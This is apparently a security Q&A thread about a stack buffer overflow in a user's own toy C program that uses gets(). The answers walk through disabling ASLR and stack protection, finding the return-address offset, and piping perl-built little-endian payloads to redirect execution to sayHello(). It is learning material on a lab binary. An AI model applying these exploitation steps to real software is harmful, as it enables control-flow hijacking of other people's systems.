3

To note before compiling the program I disabled ASLR via:

$ sudo -i
root@laptop:~# echo "0" > /proc/sys/kernel/randomize_va_space 
root@laptop:~# exit
logout

I then compiled the program via:

gcc -ggdb -mpreferred-stack-boundary=4 -o test vuln.c

(I also didnt understand the -mpreferred-stack-boundary=4 parameter)

I have a program :

Source code of c program which I am trying to overflow

The overflow in theory should occur when the compiler gets to the line of gets(buff); where I have been attempting to overflow the return address ($RIP).

Below is the disassembly of my main method, getInput() and sayHello() (for the purpose of showing the address of the sayHello method, 0x4005d, which I hope to overwrite the stack RIP with).

Disas of the methods

When I give an input of above 15 x A's I segfault the program. And when I provide more than 24 x A's I begin to overwrite the $RIP, i.e. 25 x A's would make the RIP value 0x0000000000400041. Logically, I tried to then provide the hex values for "4005dc" (sayHello() address) however I fail when attempting that. When using online hex to text converters, the corresponding text value I get from "4005dc" is "@Ü".

More so I understand that when the program reached the retq instruction within getInput() it will pop the return address of the top of the stack and jump to it.

RoraΖ
  • 12,317
  • 4
  • 51
  • 83
reyyez
  • 137
  • 1
  • 1
  • 3
  • Wouldn't it be easier to provide a command line argument to overflow the buffer vs. attempting to input and capture with `gets`? Or reading bytes in from a file? You're running into an issue that all vulnerability researchers run into: the limitations of the vulnerability, and how to successfully trigger it. Try looking at this answer over at Super User to [type input unicode characters in Linux.](http://superuser.com/questions/59418/how-to-type-special-characters-in-linux) – RoraΖ Nov 02 '15 at 20:26
  • 1
    Also, `RIP` is not being overwritten. The *return address* is, and `RIP` is set to the return address at `retq`. Semantics, but there is a distinction. – RoraΖ Nov 02 '15 at 20:33

2 Answers2

4

x86 SOLUTION ONLY: (see comments)

If I got your task right, you have to overflow the function pointer for sayHello.

Hence, the first task is to identify that functions address.

nm test | grep sayHello

In my case this was the result

0804844b T sayHello

So I have to overwrite the return address (RET) of getInput() with 0x0804844b. Now you can either identify via gdb how far away from RET the buffer buff is located. I have chosen a different approach, since it was quite obvious what range it will be. Therefore my next step was to identify the amount of data to put into buff to over write RET. This is done using the following command which will enter a string of 'A' repeated 28 times when the program waits for input (gets()):

perl -e 'print "A"x28' | strace -i test

and looked for such a line to appear in the end:

[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---

Next, I have reduced the number of 28 to 24 and printed four times B to see whether the address in the output above changes to [42424242] - it didn't, so I reduced 24 to 20 and checked again.

perl -e 'print "A"x20; print "BBBB"' |strace -i ./test

[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

BINGO

The last step is to replace BBBB with the address (little-endian).

perl -e 'print "A"x20; print "\x4b\x84\x04\x08"' | ./test

and the output was:

4\x04\x08"' |  ./test
AAAAAAAAAAAAAAAAAAAAK�
DONENENNE!!!!
Segmentation fault (core dumped)

I have successfully overwritten RET with the address of sayHello().

With that off the chest, let's have a look at your compilation string question.

-mpreferred-stack-boundary=4 man gcc is very helpful here. You tell gcc with this parameter to keep the stack boundary aligned to 2^4 (16 Byte). If you want to have it at 16 Byte, you can leave the parameter since this is default.

However, I have also used the parameter -fno-stack-protector. With this I tell the compiler to not add extra code for checking buffer overflow. If you leave that out, you won't be able to exploit your test binary.

Zonk
  • 458
  • 2
  • 6
  • Can you post your source code? – RoraΖ Nov 03 '15 at 14:09
  • The source code is posted in the initial post (image - sigh - but 10 sec to type). I did not change it. – Zonk Nov 03 '15 at 15:30
  • Ah ok, I'm not too familiar with Perl so I wasn't sure if you were taking in command line arguments or not. Nice explanation. – RoraΖ Nov 03 '15 at 16:00
  • @RoraΖ thank you for the compliment and sorry about the perl part confusing you. i have added some more info there. – Zonk Nov 03 '15 at 16:48
  • @Zonk Why is it that your return address is overwritten after 20 A's however in my case the return address is overwritten after 24 A's? I am assuming you are also running this on a x86_64 machine. My return is just get a segfault, and the ASCII value of the hexcode which I provide appended to my A's. Given that this time I compiled my program with the -fno-stack-protector flag. – reyyez Nov 03 '15 at 18:57
  • @Zonk my understanding was that in an x86_64 architecture, the register are 8 bytes, thus after the 8 bytes of the buffer, is there an RBP register which needs to be overwritten (another 8 bytes thus 16 bytes to be overwritten ) in order to then access the RIP register (another 8 bytes which is 24 bytes which need to be overwritten in total )? – reyyez Nov 03 '15 at 19:11
  • Hey @user3524889 sorry somehow I completely over-read the x64 part and even didn't notice in your register posting. Huge apologize for that. You are right after 24 you overwrite the return address. Run the following command: perl -e 'print "A"x24;print "B"x6' | strace -i ./test You should see six times 42 in the RET. However, when I craft the address of sayHello() => 0x00000000004005bd I don't get the string back. When I give again the address of getInput, it works. I hope to find some more time in the next days to figure out the problem. – Zonk Nov 03 '15 at 23:46
  • @user3524889 a promise is a promise...see my second reply to this question.... – Zonk Nov 04 '15 at 17:48
1

x86_64 SOLUTION:

Sorry again for my ignorance in the first reply, had my mind drifting off...

But it's actually not that different, here step-by-step how I solved this.

1) Source Code Compilation:

$ gcc -fno-stack-protector -o vuln vuln.c

Note: I renamed the executable to vuln instead of test, just something I like to order my filesystem.

2) Identify ADDR of sayHello():

$ nm vuln | grep sayHello
00000000004005bd T sayHello

So the ADDR of sayHello is 0x0000004005bd we need to overwrite RIP with that value before getInput() returns.

3) Identify the Location of RET_ADDR to be Overwritten by ADDR:

Similar to the x86 solution, we need to identify how many times we can pass 'A' (or any other char) that the value is stored in RET_ADDR's location. GDB is your friend here, especially with peda. You can find an excellent example here.

In my case it was 24 bytes => perl -e 'print "A"x24'

4) Craft Payload to Overwrite RET_ADDR:

This is the perl command, whose result is fed into the gets() call.

perl -e 'print "A"x24; print "\xbd\x05\x40\x00\x00\x00"'

The second print inside the perl command is used to pass the ADDR of sayHello() in little-endian.

5) PIPE Command from (4) to the Program:

$ perl -e 'print "A"x24; print "\xbd\x05\x40\x00\x00\x00"' | ./vuln
AAAAAAAAAAAAAAAAAAAAAAAA�@
DONENENNE!!!!
Segmentation fault (core dumped)
Zonk
  • 458
  • 2
  • 6
  • Hello @Zonk apologies for the late reply, I was working on this from your initial reply, however didnt get a chance to respond. For some reason I am not able to overwrite the return address, I think there is some underlying system mechanism which is preventing me from overwriting the address. As when I provide random input value such as 30 * A's, I will overwrite the return address with 41's. However, when I try do overwrite with hex address values, I am only ever able to overwrite the first 2 bytes. My sayHello function address is : 0x00000000004005dc. However when providing the following : – reyyez Nov 05 '15 at 18:57
  • perl -e 'print "A"x24; print "\xdc\x05\x40\x00\x00\x00\x00\x00"' | ./vuln I get : AAAAAAAAAAAAAAAAAAAAAAAA�@ Segmentation fault More so I realise (in my case) I only need to overwrite the "05dc" since I have figured out that the value which I am trying to overrwrite is 0x0000000000400600. Hence obviously the only bit I need to overwrite is the "0600" part. However I am not succesful. Is there another system flag which I need to deactivate (like I did with the ASLR in my original post)? – reyyez Nov 05 '15 at 19:05
  • No the 0 is enough in the proc file. Remember, after each reboot you need to repeat that. I would overwrite with the leading zeros. What helped me to get back into this was the blog post that used gdb-peda and created a simple buffer overflow example and shellcode to spawn a shell. – Zonk Nov 05 '15 at 19:24
  • With peda you can also generate a specific pattern that you later can look for in the memory. To identify if 24 is really the right offset – Zonk Nov 05 '15 at 19:26
  • @user3524889 Did you manage to exploit the application? – Zonk Nov 10 '15 at 08:28
  • In the end, I wasnt able to overwrite, though you said there isnt an underlying system flag or mechanism stopping me from overwriting the return address, when ever I tried to enter some hexcode e.g. "/x10", it wouldnt overwrite. But if I just overwrited with "AAAAA" it would overwrite the return - but of course this is less useful. – reyyez Nov 19 '15 at 10:05
  • Okay, your sayHello() is at 0x00000000004005dc and you got the same offset as I right? Try the following command: perl -e ' print "A"x24; print "\xdc\x05\x40\x00\x00\x00" ' | ./vuln If that does not work; Have you tried using peda as described in the link? Plus, have you tried setting RIP manually to your sayHello() address and see if you have a typo in the code? – Zonk Nov 19 '15 at 10:23
  • Sorry which link are you referring to here, and I will attempt this, this evening for sure (as I do not have the toosl to do so at work), I will research more into this as I understand your logic – reyyez Nov 19 '15 at 10:29
  • Under point 3), the word "peda" is linked to https://github.com/longld/peda and the following sentence says "You can find an excellent example here", where 'here' points to http://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/ – Zonk Nov 19 '15 at 10:31